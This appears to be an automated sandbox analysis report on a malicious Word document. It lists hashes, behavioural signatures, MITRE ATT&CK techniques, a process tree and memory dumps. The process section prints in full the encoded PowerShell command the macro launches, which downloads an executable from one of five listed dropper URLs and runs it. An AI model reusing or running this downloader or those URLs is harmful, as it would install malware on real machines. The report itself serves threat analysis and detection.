7b85bc06a4a5512e48375bc579949a5cdf7e83be9a39cb4f5f4397be9a328415

General

Target

674d123e35faaf5e201ea58cd17abc9c_JaffaCakes118.doc
Size

135KB
MD5

674d123e35faaf5e201ea58cd17abc9c
SHA1

9936c8f722cbae0aa08891b6e389cb34f043ba9c
SHA256

7b85bc06a4a5512e48375bc579949a5cdf7e83be9a39cb4f5f4397be9a328415
SHA512

7a6d3bceee7c41b4732f328490d75984041b6c07f5e6262a70baa1433040d47ee10526e6022eb08afcc348bb804e195463a5124409397872e8b4a00feba17953
SSDEEP

3072:V77HUUUUUUUUUUUUUUUUUUUTkOQePu5U8qHR5ajMni5NkHHLZebRu4:V77HUUUUUUUUUUUUUUUUUUUT52VeR5ap

Score

10^/10

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

exe.dropper

http://creaception.com/wp-content/xiGNlqqqTY/

exe.dropper

http://credigas.com.br/banner/gy7r_septedp8a2-535832/

exe.dropper

http://downinthecountry.com/logsite/uBkMGLPsSs/

exe.dropper

https://ingelse.net/awstats/yBDJPpkqn/

exe.dropper

http://kelp4less.com/wp-includes/r3txlpz_ncoq6p-28/

Signatures

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

Processes:

powErSHell.exe

description	pid	pid_target	process	target process
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	4504	4100	powErSHell.exe

Blocklisted process makes network request 4 IoCs

Processes:

powErSHell.exe

flow pid process

26 4504 powErSHell.exe
33 4504 powErSHell.exe
35 4504 powErSHell.exe
36 4504 powErSHell.exe

flow	pid	process
26	4504	powErSHell.exe
33	4504	powErSHell.exe
35	4504	powErSHell.exe
36	4504	powErSHell.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

Processes:

WINWORD.EXE

description	ioc	process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WINWORD.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

Processes:

WINWORD.EXE

description	ioc	process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WINWORD.EXE
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	WINWORD.EXE

Suspicious behavior: AddClipboardFormatListener 2 IoCs

Processes:

WINWORD.EXE

pid process

3424 WINWORD.EXE
3424 WINWORD.EXE
Suspicious behavior: EnumeratesProcesses 2 IoCs

Processes:

powErSHell.exe

pid process

4504 powErSHell.exe
4504 powErSHell.exe
Suspicious use of AdjustPrivilegeToken 1 IoCs

Processes:

powErSHell.exe

description pid process

Token: SeDebugPrivilege 4504 powErSHell.exe
Suspicious use of SetWindowsHookEx 7 IoCs

Processes:

WINWORD.EXE

pid process

3424 WINWORD.EXE
3424 WINWORD.EXE
3424 WINWORD.EXE
3424 WINWORD.EXE
3424 WINWORD.EXE
3424 WINWORD.EXE
3424 WINWORD.EXE

pid	process
3424	WINWORD.EXE
3424	WINWORD.EXE

pid	process
4504	powErSHell.exe
4504	powErSHell.exe

description	pid	process
Token: SeDebugPrivilege	4504	powErSHell.exe

pid	process
3424	WINWORD.EXE
3424	WINWORD.EXE
3424	WINWORD.EXE
3424	WINWORD.EXE
3424	WINWORD.EXE
3424	WINWORD.EXE
3424	WINWORD.EXE

C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\674d123e35faaf5e201ea58cd17abc9c_JaffaCakes118.doc" /o ""
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
PID:3424

C:\Windows\System32\WindowsPowerShell\v1.0\powErSHell.exe
powErSHell -e JAB1ADAAMwBfADAANAAwAD0AJwBkADAAMAA0AF8AMQAnADsAJABBADYANAA1ADMAMgAgAD0AIAAnADYANAAzACcAOwAkAFAAMgA1AF8AMAAzADIANAA9ACcAQQA5ADUAOQBfADYAJwA7ACQAbwA5ADQAXwA2AF8ANwA9ACQAZQBuAHYAOgB1AHMAZQByAHAAcgBvAGYAaQBsAGUAKwAnAFwAJwArACQAQQA2ADQANQAzADIAKwAnAC4AZQB4AGUAJwA7ACQARQA3ADAANQA1ADQANAA9ACcARgBfADEANQA4ADUANAAwACcAOwAkAG8AXwA0ADMANQBfAD0AJgAoACcAbgBlAHcALQBvACcAKwAnAGIAJwArACcAagBlAGMAdAAnACkAIABOAEUAdAAuAHcAYABlAEIAYABDAEwASQBFAE4AVAA7ACQAQwA1ADQANQA5ADAAMQA3AD0AJwBoAHQAdABwADoALwAvAGMAcgBlAGEAYwBlAHAAdABpAG8AbgAuAGMAbwBtAC8AdwBwAC0AYwBvAG4AdABlAG4AdAAvAHgAaQBHAE4AbABxAHEAcQBUAFkALwBAAGgAdAB0AHAAOgAvAC8AYwByAGUAZABpAGcAYQBzAC4AYwBvAG0ALgBiAHIALwBiAGEAbgBuAGUAcgAvAGcAeQA3AHIAXwBzAGUAcAB0AGUAZABwADgAYQAyAC0ANQAzADUAOAAzADIALwBAAGgAdAB0AHAAOgAvAC8AZABvAHcAbgBpAG4AdABoAGUAYwBvAHUAbgB0AHIAeQAuAGMAbwBtAC8AbABvAGcAcwBpAHQAZQAvAHUAQgBrAE0ARwBMAFAAcwBTAHMALwBAAGgAdAB0AHAAcwA6AC8ALwBpAG4AZwBlAGwAcwBlAC4AbgBlAHQALwBhAHcAcwB0AGEAdABzAC8AeQBCAEQASgBQAHAAawBxAG4ALwBAAGgAdAB0AHAAOgAvAC8AawBlAGwAcAA0AGwAZQBzAHMALgBjAG8AbQAvAHcAcAAtAGkAbgBjAGwAdQBkAGUAcwAvAHIAMwB0AHgAbABwAHoAXwBuAGMAbwBxADYAcAAtADIAOAAvACcALgBzAHAATABpAFQAKAAnAEAAJwApADsAJAB6ADEAMQA5ADcAMAA9ACcAVgAyADEAMAAwADYANgAnADsAZgBvAHIAZQBhAGMAaAAoACQAUgAyADgAXwAyAF8ANAA1ACAAaQBuACAAJABDADUANAA1ADkAMAAxADcAKQB7AHQAcgB5AHsAJABvAF8ANAAzADUAXwAuAGQATwBXAE4AbABvAGEAZABmAEkATABlACgAJABSADIAOABfADIAXwA0ADUALAAgACQAbwA5ADQAXwA2AF8ANwApADsAJABCADAAOAAxADgANQA1AD0AJwBVADAANAA0ADEAMAAnADsASQBmACAAKAAoACYAKAAnAEcAZQAnACsAJwB0AC0ASQB0AGUAJwArACcAbQAnACkAIAAkAG8AOQA0AF8ANgBfADcAKQAuAGwAZQBOAGcAVABIACAALQBnAGUAIAAzADgAMwA4ADcAKQAgAHsALgAoACcASQAnACsAJwBuAHYAbwAnACsAJwBrAGUALQBJAHQAZQBtACcAKQAgACQAbwA5ADQAXwA2AF8ANwA7ACQAWQAxADAANAA3ADkAOAA9ACcAbAAzADIANwBfADIAJwA7AGIAcgBlAGEAawA7ACQAQQA0ADEANAA3ADcAPQAnAFoAOQA0ADEAMgAzACcAfQB9AGMAYQB0AGMAaAB7AH0AfQAkAEEAXwA2ADYAOQA0AF8APQAnAEwAOAA5ADMAMAAwADMANAAnAA==
1⤵
- Process spawned unexpected child process
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4504

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

2

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Local\Temp\TCD91DA.tmp\sist02.xsl

Filesize
245KB

MD5
f883b260a8d67082ea895c14bf56dd56

SHA1
7954565c1f243d46ad3b1e2f1baf3281451fc14b

SHA256
ef4835db41a485b56c2ef0ff7094bc2350460573a686182bc45fd6613480e353

SHA512
d95924a499f32d9b4d9a7d298502181f9e9048c21dbe0496fa3c3279b263d6f7d594b859111a99b1a53bd248ee69b867d7b1768c42e1e40934e0b990f0ce051e

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_vjpdn3zf.wel.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/3424-9-0x00007FF9028D0000-0x00007FF902AC5000-memory.dmp

Filesize
2.0MB

Download
memory/3424-2-0x00007FF8C2950000-0x00007FF8C2960000-memory.dmp

Filesize
64KB

Download
memory/3424-3-0x00007FF8C2950000-0x00007FF8C2960000-memory.dmp

Filesize
64KB

Download
memory/3424-7-0x00007FF9028D0000-0x00007FF902AC5000-memory.dmp

Filesize
2.0MB

Download
memory/3424-28-0x00007FF9028D0000-0x00007FF902AC5000-memory.dmp

Filesize
2.0MB

Download
memory/3424-5-0x00007FF8C2950000-0x00007FF8C2960000-memory.dmp

Filesize
64KB

Download
memory/3424-8-0x00007FF9028D0000-0x00007FF902AC5000-memory.dmp

Filesize
2.0MB

Download
memory/3424-29-0x00007FF9028D0000-0x00007FF902AC5000-memory.dmp

Filesize
2.0MB

Download
memory/3424-13-0x00007FF9028D0000-0x00007FF902AC5000-memory.dmp

Filesize
2.0MB

Download
memory/3424-38-0x00007FF9028D0000-0x00007FF902AC5000-memory.dmp

Filesize
2.0MB

Download
memory/3424-16-0x00007FF8C0600000-0x00007FF8C0610000-memory.dmp

Filesize
64KB

Download
memory/3424-15-0x00007FF9028D0000-0x00007FF902AC5000-memory.dmp

Filesize
2.0MB

Download
memory/3424-14-0x00007FF9028D0000-0x00007FF902AC5000-memory.dmp

Filesize
2.0MB

Download
memory/3424-11-0x00007FF9028D0000-0x00007FF902AC5000-memory.dmp

Filesize
2.0MB

Download
memory/3424-10-0x00007FF9028D0000-0x00007FF902AC5000-memory.dmp

Filesize
2.0MB

Download
memory/3424-17-0x00007FF8C0600000-0x00007FF8C0610000-memory.dmp

Filesize
64KB

Download
memory/3424-6-0x00007FF9028D0000-0x00007FF902AC5000-memory.dmp

Filesize
2.0MB

Download
memory/3424-4-0x00007FF90296D000-0x00007FF90296E000-memory.dmp

Filesize
4KB

Download
memory/3424-12-0x00007FF9028D0000-0x00007FF902AC5000-memory.dmp

Filesize
2.0MB

Download
memory/3424-39-0x00007FF9028D0000-0x00007FF902AC5000-memory.dmp

Filesize
2.0MB

Download
memory/3424-564-0x00007FF9028D0000-0x00007FF902AC5000-memory.dmp

Filesize
2.0MB

Download
memory/3424-561-0x00007FF8C2950000-0x00007FF8C2960000-memory.dmp

Filesize
64KB

Download
memory/3424-1-0x00007FF8C2950000-0x00007FF8C2960000-memory.dmp

Filesize
64KB

Download
memory/3424-563-0x00007FF8C2950000-0x00007FF8C2960000-memory.dmp

Filesize
64KB

Download
memory/3424-59-0x00007FF9028D0000-0x00007FF902AC5000-memory.dmp

Filesize
2.0MB

Download
memory/3424-0-0x00007FF8C2950000-0x00007FF8C2960000-memory.dmp

Filesize
64KB

Download
memory/3424-492-0x00007FF9028D0000-0x00007FF902AC5000-memory.dmp

Filesize
2.0MB

Download
memory/3424-538-0x00007FF9028D0000-0x00007FF902AC5000-memory.dmp

Filesize
2.0MB

Download
memory/3424-539-0x00007FF9028D0000-0x00007FF902AC5000-memory.dmp

Filesize
2.0MB

Download
memory/3424-560-0x00007FF8C2950000-0x00007FF8C2960000-memory.dmp

Filesize
64KB

Download
memory/3424-562-0x00007FF8C2950000-0x00007FF8C2960000-memory.dmp

Filesize
64KB

Download
memory/4504-53-0x00007FF9028D0000-0x00007FF902AC5000-memory.dmp

Filesize
2.0MB

Download
memory/4504-41-0x00000203D6E20000-0x00000203D6E42000-memory.dmp

Filesize
136KB

Download
memory/4504-40-0x00007FF9028D0000-0x00007FF902AC5000-memory.dmp

Filesize
2.0MB

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

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Downloads